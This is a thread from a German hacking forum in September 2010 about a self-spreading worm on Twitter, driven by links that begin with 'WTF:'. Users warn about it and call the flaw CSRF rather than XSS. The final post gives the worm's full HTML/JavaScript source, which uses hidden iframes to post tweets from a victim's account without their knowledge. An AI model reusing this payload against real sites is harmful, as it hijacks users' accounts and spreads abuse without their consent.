Kurzmeldung! Wieder ein Wurm auf Twitter unterwegs

XX · 26.09.2010, 19:21

Klickt nicht auf Links, die nach einem "WTF:" kommen! Don’t Click The WTF Link On Twitter Unless You DO Like Sex With Goats

**BCfu** · 26.09.2010, 19:43

Hab hier ne kleine Erklärung dazu gefunden. Meiner Meinung nach schon fast zu simpel um als Wurm durchzugehn...

**epicfa!l** · 26.09.2010, 20:10

Irgendwie macht Twitter es den "bösen Menschen" im Moment echt sehr leicht.
Bin ja mal gespannt, wie das wird wenn das neue Update komplett da ist.
Dann werden wieder etliche Sicherheitslücken eröffnet.

Vielleicht sollte Twitter sich mal ein Beispiel an der Post nehmen, und Preisgelder für gefundene Lücken aussetzen.
Finde die Idee eigentlich ziemlich gut, zu lesen hier.

**0x30** · 26.09.2010, 20:13

Ist aber dennoch ein Wurm.

**rage666** · 26.09.2010, 20:47

Twitter scheint ja echt voller Löcher zu sein.

**stayla** · 26.09.2010, 20:53

Twitter sollte mal öfters hier rein schauen xD

**Donut** · 26.09.2010, 21:29

Is doch eh schon gefixxt..

**SFX** · 26.09.2010, 21:58

Zitat von stayla

Twitter sollte mal öfters hier rein schauen xD

soweit ich das jetzt beurteilen kann geht es da nicht um eine xss, sondern um eine csrf Verwundbarkeit..

Und wenn ich mir die ganzen Webpanels von den uEbEr133337³³ g0il3n Stealern, Bots und was halt sonst noch alles ein Panel hat, scheinen hier nur sehr wenige zu wissen was das ist..

**pima** · 27.09.2010, 19:18

Twitter hat immer mehr Nutzer und so langsam wirds für Cracker/Hacker/whatever interessanter Profit daraus zu schlagen, somit wird vermehrt nach Löchern gesucht die früher einfach irrelevant waren.

**wacked** · 27.09.2010, 19:43

Code:

<html> <head></head> <body> <script> var el1 = document.createElement('iframe'); var el2 = document.createElement('iframe'); el1.style.visibility="hidden"; el2.style.visibility="hidden"; el1.src = "http://twitter.com/share/update?status=WTF:%20" + window.location; el2.src = "http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats"; document.getElementsByTagName("body")[0].appendChild(el1); document.getElementsByTagName("body")[0].appendChild(el2); </script> </body> </html>

priv7 twitter worm src. no leak plox bro

Thema: Kurzmeldung! Wieder ein Wurm auf Twitter unterwegs

Themen-Optionen

Anzeige

Kurzmeldung! Wieder ein Wurm auf Twitter unterwegs

Folgende Benutzer haben sich für diesen Beitrag bedankt:

Ähnliche Themen

jmd ist mit meinen Acc unterwegs

Trojaner Kiddy in Clansuche24 unterwegs

17-jähriger löste Wurm-Welle in Twitter aus

Suche laptop für unterwegs

Firefox, TS²... Settings unterwegs nutzen

Berechtigungen